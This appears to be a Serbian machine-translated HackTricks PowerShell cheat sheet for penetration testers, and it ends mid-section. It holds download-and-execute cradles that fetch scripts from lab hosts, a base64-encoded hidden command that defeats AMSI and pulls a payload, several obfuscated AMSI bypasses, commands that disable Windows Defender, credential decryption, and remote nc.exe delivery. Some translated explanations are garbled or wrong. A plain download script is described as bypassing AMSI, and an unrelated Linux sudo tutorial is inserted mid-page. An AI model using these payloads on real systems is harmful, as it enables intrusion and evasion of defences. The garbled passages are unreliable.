68 KiB
Basic PowerShell for Pentesters
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Podrazumevane lokacije PowerShell-a
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Osnovne PS komande za početak
Ovde su neke osnovne PowerShell (PS) komande koje možete koristiti za početak:
Get-Process
: Prikazuje sve pokrenute procese na sistemu.Get-Service
: Prikazuje sve pokrenute servise na sistemu.Get-EventLog
: Prikazuje događaje iz sistemskog loga.Get-WmiObject
: Prikazuje informacije o Windows Management Instrumentation (WMI) objektima.Get-ChildItem
: Prikazuje sadržaj direktorijuma.Set-Location
: Menja trenutni direktorijum.Get-Help
: Prikazuje pomoć za određenu komandu.Invoke-Command
: Izvršava komandu na udaljenom računaru.New-Item
: Kreira novi fajl ili direktorijum.Remove-Item
: Briše fajl ili direktorijum.
Ove komande su samo osnovne i postoji mnogo više mogućnosti koje možete istražiti.
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Preuzimanje i izvršavanje
U ovom odeljku ćemo se baviti tehnikom preuzimanja i izvršavanja fajlova putem PowerShell-a. Ova tehnika je korisna u situacijama kada želite da preuzmete i pokrenete fajl sa udaljenog servera.
Preuzimanje fajla
Da biste preuzeli fajl sa udaljenog servera, možete koristiti sledeću PowerShell komandu:
Invoke-WebRequest -Uri <URL> -OutFile <putanja_do_fajla>
Zamijenite <URL>
sa URL-om fajla koji želite da preuzmete, i <putanja_do_fajla>
sa putanjom na kojoj želite da sačuvate preuzeti fajl.
Izvršavanje preuzetog fajla
Nakon što preuzmete fajl, možete ga izvršiti pomoću PowerShell komande Start-Process
. Evo kako to možete uraditi:
Start-Process -FilePath <putanja_do_fajla>
Zamijenite <putanja_do_fajla>
sa putanjom do preuzetog fajla koji želite da izvršite.
Primer
Evo primera kako možete preuzeti i izvršiti fajl koristeći PowerShell:
Invoke-WebRequest -Uri http://www.example.com/malicious.exe -OutFile C:\Temp\malicious.exe
Start-Process -FilePath C:\Temp\malicious.exe
Ovaj primer preuzima fajl malicious.exe
sa http://www.example.com
i čuva ga na putanji C:\Temp\malicious.exe
. Zatim, koristi se Start-Process
komanda da bi se izvršio preuzeti fajl.
Napomena: Ova tehnika može biti zloupotrebljena i koristiti se u zlonamerne svrhe. Uvek budite oprezni prilikom preuzimanja i izvršavanja fajlova sa nepoznatih izvora.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Preuzimanje i izvršavanje u pozadini sa AMSI zaobilaznicom
Ovaj tehniku omogućava preuzimanje i izvršavanje zlonamernog koda u pozadini, zaobilazeći AMSI (Antimalware Scan Interface) zaštitu. Sledeći PowerShell skript demonstrira ovu tehniku:
$URL = "http://www.maliciouswebsite.com/malware.exe"
$Output = "C:\Temp\malware.exe"
# Kreiranje objekta za preuzimanje
$WebClient = New-Object System.Net.WebClient
# Preuzimanje zlonamernog fajla
$WebClient.DownloadFile($URL, $Output)
# Izvršavanje zlonamernog fajla u pozadini
$Process = New-Object System.Diagnostics.Process
$Process.StartInfo.FileName = $Output
$Process.StartInfo.WindowStyle = "Hidden"
$Process.Start()
Ovaj skript prvo kreira objekat WebClient koji se koristi za preuzimanje zlonamernog fajla sa određene URL adrese. Zatim se fajl izvršava u pozadini pomoću objekta Process.
Napomena: Ova tehnika zaobilazi AMSI zaštitu, ali ne garantuje 100% uspeh. AMSI je moćan alat za detekciju malvera i može otkriti neke vrste zlonamernog koda.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Korišćenje b64 sa Linuxa
Ako želite da koristite b64
komandu sa Linux operativnog sistema, možete je koristiti na sledeći način:
echo -n "Tekst za enkodiranje" | base64
Ova komanda će enkodirati tekst koji ste naveli koristeći Base64 enkodiranje. Rezultat će biti prikazan na standardnom izlazu.
Da biste dekodirali Base64 enkodirani tekst, možete koristiti sledeću komandu:
echo -n "Enkodirani tekst" | base64 -d
Ova komanda će dekodirati enkodirani tekst koristeći Base64 dekodiranje i prikazati rezultat na standardnom izlazu.
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Preuzimanje
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Invoke-WebRequest je PowerShell cmdlet koji se koristi za slanje HTTP zahteva na web servere i dobijanje odgovora. Ovaj cmdlet se često koristi u pentestiranju za interakciju sa web aplikacijama i izvršavanje različitih akcija kao što su preuzimanje fajlova, slanje podataka na server ili čak izvršavanje napada.
Evo nekoliko primera kako možete koristiti Invoke-WebRequest:
- Preuzimanje fajla sa web servera:
Invoke-WebRequest -Uri "http://www.example.com/file.txt" -OutFile "C:\path\to\save\file.txt"
- Slanje podataka na server:
Invoke-WebRequest -Uri "http://www.example.com/submit" -Method POST -Body "username=admin&password=pass123"
- Izvršavanje GET zahteva i prikazivanje odgovora:
$response = Invoke-WebRequest -Uri "http://www.example.com"
$response.Content
- Izvršavanje napada poput SQL injection-a:
$payload = "admin' OR '1'='1'--"
Invoke-WebRequest -Uri "http://www.example.com/login?username=$payload&password=pass123"
Ovaj cmdlet pruža mnoge mogućnosti za interakciju sa web serverima i može biti veoma koristan alat u arsenalu pentestera.
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget je besplatan alat za preuzimanje sadržaja sa weba. Može se koristiti za preuzimanje datoteka, rekurzivno preuzimanje celih veb lokacija, kao i za preuzimanje preko HTTP, HTTPS i FTP protokola.
Instalacija
Wget je dostupan za Windows operativni sistem i može se preuzeti sa zvanične veb stranice projekta. Nakon preuzimanja, instalacija se vrši pokretanjem instalacionog fajla i praćenjem uputstava na ekranu.
Korišćenje
Da biste preuzeli datoteku sa weba koristeći Wget, koristite sledeću sintaksu:
wget <URL>
Gde <URL>
predstavlja adresu datoteke koju želite da preuzmete.
Primeri
- Preuzimanje datoteke
file.txt
sa weba:
wget http://www.example.com/file.txt
- Rekurzivno preuzimanje celog sadržaja veb lokacije:
wget --recursive http://www.example.com
- Preuzimanje datoteke preko FTP protokola:
wget ftp://ftp.example.com/file.txt
Napredne opcije
Wget ima mnoge napredne opcije koje vam omogućavaju da prilagodite proces preuzimanja. Za više informacija o ovim opcijama, pogledajte dokumentaciju Wget alata.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransfer je PowerShell modul koji omogućava prenos datoteka između računara putem Background Intelligent Transfer Service (BITS) protokola. Ovaj modul je veoma koristan za prenos velikih datoteka i omogućava vam da pratite napredak prenosa, pauzirate i nastavite prenos, kao i da upravljate prioritetima prenosa.
Da biste koristili BitsTransfer modul, prvo morate da ga učitate u PowerShell sesiju. To možete uraditi pomoću komande Import-Module BitsTransfer
. Nakon toga, možete koristiti različite komande za upravljanje prenosom datoteka.
Komande za BitsTransfer
Start-BitsTransfer
: Ova komanda se koristi za pokretanje prenosa datoteka. Morate navesti izvor i odredište datoteke, kao i putanju do log fajla koji će pratiti napredak prenosa.Get-BitsTransfer
: Ova komanda se koristi za dobijanje informacija o trenutnim prenosima datoteka. Možete videti informacije kao što su napredak prenosa, brzina prenosa i status prenosa.Complete-BitsTransfer
: Ova komanda se koristi za završetak prenosa datoteka. Možete je koristiti kada želite da prekinete prenos ili kada je prenos završen.Suspend-BitsTransfer
: Ova komanda se koristi za pauziranje prenosa datoteka. Možete je koristiti kada želite da privremeno zaustavite prenos i nastavite ga kasnije.Resume-BitsTransfer
: Ova komanda se koristi za nastavak prenosa datoteka koji je bio pauziran. Možete je koristiti kada želite da nastavite prenos nakon pauze.
Primeri korišćenja BitsTransfer
Evo nekoliko primera kako možete koristiti BitsTransfer modul:
- Pokretanje prenosa datoteke:
Start-BitsTransfer -Source "C:\putanja\do\izvorne\datoteke" -Destination "C:\putanja\do\odredišne\datoteke" -DisplayName "Prenos datoteke" -Description "Ovo je primer prenosa datoteke"
- Pauziranje prenosa datoteke:
Suspend-BitsTransfer -DisplayName "Prenos datoteke"
- Nastavak prenosa datoteke:
Resume-BitsTransfer -DisplayName "Prenos datoteke"
- Završetak prenosa datoteke:
Complete-BitsTransfer -DisplayName "Prenos datoteke"
- Dobijanje informacija o trenutnim prenosima datoteka:
Get-BitsTransfer
BitsTransfer modul je veoma koristan alat za prenos datoteka putem PowerShell-a. Možete ga koristiti za efikasan prenos velikih datoteka i pratiti napredak prenosa.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
Base64 Kali
Kali Linux ima ugrađenu funkcionalnost za enkodiranje i dekodiranje Base64. Ovo je korisno kada želite da enkodirate ili dekodirate tekst ili binarne podatke koristeći Base64 algoritam.
Da biste enkodirali tekst u Base64 format, možete koristiti sledeću komandu:
echo -n "Tekst za enkodiranje" | base64
Da biste dekodirali Base64 kodirani tekst, koristite sledeću komandu:
echo -n "Base64 kodirani tekst" | base64 -d
EncodedCommand
PowerShell omogućava izvršavanje skripti koristeći parametar -EncodedCommand
. Ovaj parametar omogućava enkodiranje PowerShell skripte u Base64 format, što je korisno kada želite da izvršite skriptu na način koji izbegava detekciju antivirusnih programa.
Da biste enkodirali PowerShell skriptu u Base64 format, možete koristiti sledeći PowerShell kod:
$script = "Write-Host 'Hello, World!'"
$encodedScript = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($script))
Zatim, možete izvršiti enkodiranu skriptu koristeći sledeću komandu:
powershell.exe -EncodedCommand <enkodirana_skripta>
Gde <enkodirana_skripta>
predstavlja enkodiranu PowerShell skriptu koju želite da izvršite.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Izvršna politika
Ograničeni jezik
AppLocker politika
Omogući WinRM (udaljeni PS)
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Onemogući Defender
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
AMSI zaobilaženje
amsi.dll
se učitava u vaš proces i ima neophodne izvoze za interakciju sa bilo kojom aplikacijom. I zato što se učitava u memorijski prostor procesa koji kontrolišete, možete promeniti njegovo ponašanje tako što ćete prepisati instrukcije u memoriji. Na taj način se onemogućava detekcija.
Stoga, cilj AMSI zaobilaženja je da prepišete instrukcije te DLL datoteke u memoriji kako bi detekcija postala beskorisna.
Veb stranica za generisanje AMSI zaobilaženja: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI Bypass 2 - Hookovanje poziva upravljanog API-ja
Pogledajte ovaj post za detaljne informacije i kod. Uvod:
Ova nova tehnika se oslanja na hookovanje poziva API-ja .NET metoda. Ispostavlja se da .NET metode moraju biti kompajlirane u mašinske instrukcije u memoriji koje izgledaju veoma slično nativnim metodama. Ove kompajlirane metode mogu biti hookovane kako bi se promenio tok kontrole programa.
Koraci za izvođenje hookovanja poziva API-ja .NET metoda su:
- Identifikacija ciljnog metoda za hookovanje
- Definisanje metoda sa istim prototipom funkcije kao ciljni metod
- Korišćenje refleksije za pronalaženje metoda
- Provera da li su svi metodi kompajlirani
- Pronalaženje lokacije svakog metoda u memoriji
- Prepisivanje ciljnog metoda sa instrukcijama koje upućuju na naš zlonamerni metod
AMSI Bypass 3 - SeDebug privilegija
Pomoću ovog vodiča i koda možete videti kako, sa dovoljno privilegija za debagovanje procesa, možete pokrenuti powershell.exe proces, debagovati ga, pratiti kada učitava amsi.dll
i onemogućiti je.
AMSI Bypass - Dodatni resursi
PS-Istorija
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Pronađi novije datoteke
Opcije: CreationTime
, CreationTimeUtc
, LastAccessTime
, LastAccessTimeUtc
, LastWriteTime
, LastWriteTimeUtc
# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
Dobijanje dozvola
Da biste dobili informacije o dozvolama za određeni fajl ili direktorijum u PowerShell-u, možete koristiti sledeće komande:
Get-Acl
Komanda Get-Acl
se koristi za dobijanje ACL (Access Control List) objekta koji sadrži informacije o dozvolama za određeni fajl ili direktorijum.
Get-Acl -Path C:\putanja\fajl
Get-NTFSAccess
Komanda Get-NTFSAccess
se koristi za dobijanje detaljnih informacija o dozvolama za određeni fajl ili direktorijum.
Get-NTFSAccess -Path C:\putanja\fajl
Get-EffectiveAccess
Komanda Get-EffectiveAccess
se koristi za dobijanje efektivnih dozvola za određeni fajl ili direktorijum, uzimajući u obzir sve nasleđene dozvole.
Get-EffectiveAccess -Path C:\putanja\fajl
Get-ChildItem
Komanda Get-ChildItem
se koristi za dobijanje informacija o dozvolama za sve fajlove i direktorijume unutar određenog direktorijuma.
Get-ChildItem -Path C:\putanja\direktorijum | Get-Acl
Get-ACLReport
Komanda Get-ACLReport
se koristi za generisanje izveštaja o dozvolama za određeni fajl ili direktorijum.
Get-ACLReport -Path C:\putanja\fajl -OutputFile C:\putanja\izvestaj.html
Napomena: Ove komande zahtevaju odgovarajuće privilegije za pristup fajlovima i direktorijumima.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Verzija operativnog sistema i zakrpe
Da biste saznali verziju operativnog sistema i informacije o instaliranim zakrpama, možete koristiti sledeće PowerShell komande:
# Verzija operativnog sistema
(Get-WmiObject -Class Win32_OperatingSystem).Caption
# Informacije o zakrpama
Get-HotFix
Ova dva komandna reda će vam pružiti informacije o verziji operativnog sistema i sve zakrpe koje su instalirane na sistemu.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Okruženje
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Ostali povezani drajvovi
Kada radite sa PowerShell-om, možete dobiti informacije o svim povezanim drajvovima na sistemu koristeći sledeću komandu:
Get-PSDrive
Ova komanda će prikazati sve povezane drajvove, uključujući i lokalne drajvove, mrežne drajvove i virtualne drajvove.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Korpa za smeće
Recycle Bin (Korpa za smeće) je mesto na Windows operativnom sistemu gde se smeštaju obrisane datoteke i folderi. Ova funkcionalnost omogućava korisnicima da povrate obrisane podatke ako su slučajno izbrisali nešto što im je potrebno.
Kada se datoteka ili folder obriše, oni se premeste u Recycle Bin umesto da se trajno izbrišu sa sistema. Korisnici mogu pristupiti Recycle Binu i povratiti obrisane datoteke ili ih trajno izbrisati.
Da biste pristupili Recycle Binu, jednostavno kliknite desnim tasterom miša na ikonu Recycle Bin na radnoj površini ili u File Exploreru i odaberite opciju "Open" (Otvori). Otvoriće se prozor koji prikazuje sve obrisane datoteke i foldere.
Da biste povratili obrisane datoteke, jednostavno kliknite desnim tasterom miša na datoteku koju želite da povratite i odaberite opciju "Restore" (Povrati). Datoteka će biti vraćena na originalno mesto gde je bila pre brisanja.
Ako želite trajno da izbrišete obrisane datoteke, možete odabrati opciju "Empty Recycle Bin" (Isprazni korpu za smeće). Ova opcija će trajno izbrisati sve datoteke iz Recycle Bina i osloboditi prostor na disku.
Važno je napomenuti da se datoteke u Recycle Binu mogu povratiti samo dok nisu trajno izbrisane. Kada se korpa za smeće isprazni ili kada se datoteke izbrišu iz nje, više nije moguće povratiti te datoteke.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/upravljanje-korpa-za-reciklazu-pomocu-powershell-a/
Prikupljanje informacija o domenu
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Korisnici
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Bezbedan string u čist tekst
Kada radite sa osetljivim podacima u PowerShell skriptama, važno je da zaštitite te podatke od neovlašćenog pristupa. Jedan od načina da to postignete je korišćenjem SecureString objekta za čuvanje osetljivih vrednosti kao što su lozinke.
Međutim, u nekim situacijama može biti potrebno da konvertujete SecureString u čist tekst radi dalje obrade ili prikaza. Evo kako to možete uraditi:
$secureString = Read-Host -AsSecureString
$plaintext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
Prvo, koristimo Read-Host -AsSecureString
da bismo korisniku omogućili unos osetljivog podatka kao SecureString. Zatim koristimo System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)
da bismo konvertovali SecureString u BSTR (Basic String) format.
Konačno, koristimo [System.Runtime.InteropServices.Marshal]::PtrToStringAuto()
da bismo konvertovali BSTR u čist tekst.
Važno je napomenuti da konvertovanje SecureString u čist tekst može predstavljati sigurnosni rizik, jer osetljivi podaci mogu biti izloženi u memoriji. Stoga, budite oprezni prilikom rukovanja osetljivim podacima i koristite ovu tehniku samo kada je to zaista neophodno.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Ili direktno parsiranje iz XML-a:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
SUDO je alat koji omogućava korisnicima da izvršavaju komande sa privilegijama superkorisnika ili drugih korisnika. Ovo je veoma korisno za pentestere jer im omogućava da izvršavaju komande koje zahtevaju privilegije koje inače ne bi imali.
Instalacija SUDO
SUDO je već instaliran na većini Linux distribucija. Ako nije instaliran, možete ga instalirati koristeći sledeću komandu:
sudo apt-get install sudo
Korišćenje SUDO
Da biste koristili SUDO, jednostavno dodajte sudo
ispred komande koju želite da izvršite. Na primer:
sudo apt-get update
Ova komanda će izvršiti ažuriranje sistema sa privilegijama superkorisnika.
SUDOers fajl
SUDOers fajl definiše koje korisnike i grupe mogu koristiti SUDO. Ovaj fajl se nalazi u direktorijumu /etc/sudoers
i može se uređivati koristeći komandu visudo
.
SUDOers konfiguracija
Da biste dodali korisnika ili grupu u SUDOers fajl, otvorite fajl koristeći visudo
komandu i dodajte sledeću liniju:
korisnik ALL=(ALL) ALL
Zamenite korisnik
sa korisničkim imenom ili grupa
sa imenom grupe koju želite da dodate.
SUDOers privilegije
SUDOers fajl takođe omogućava definisanje specifičnih privilegija za korisnike ili grupe. Na primer, možete dozvoliti korisniku da izvršava samo određene komande sa privilegijama superkorisnika. Da biste to uradili, dodajte sledeću liniju u SUDOers fajl:
korisnik ALL=(ALL) /putanja/do/komande
Zamenite korisnik
sa korisničkim imenom i /putanja/do/komande
sa putanjom do komande koju želite da dozvolite.
SUDOers NOPASSWD opcija
Podrazumevano, SUDO zahteva unos korisničke lozinke pre izvršavanja komande. Međutim, možete omogućiti izvršavanje komandi bez unošenja lozinke dodavanjem NOPASSWD
opcije u SUDOers fajl. Na primer:
korisnik ALL=(ALL) NOPASSWD: ALL
Ova linija omogućava korisniku da izvršava sve komande sa privilegijama superkorisnika bez unošenja lozinke.
Zaključak
SUDO je moćan alat koji omogućava izvršavanje komandi sa privilegijama superkorisnika. Korišćenje SUDO može biti veoma korisno za pentestere jer im omogućava pristup komandama koje zahtevaju privilegije koje inače ne bi imali.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Grupe
Grupe su organizovane kolekcije korisnika u operativnom sistemu Windows. One se koriste za upravljanje pravima i privilegijama korisnika. Svaki korisnik može biti član jedne ili više grupa.
Uobičajene grupe
Uobičajene grupe su unapred definisane grupe koje dolaze sa Windows operativnim sistemom. Neke od ovih grupa su:
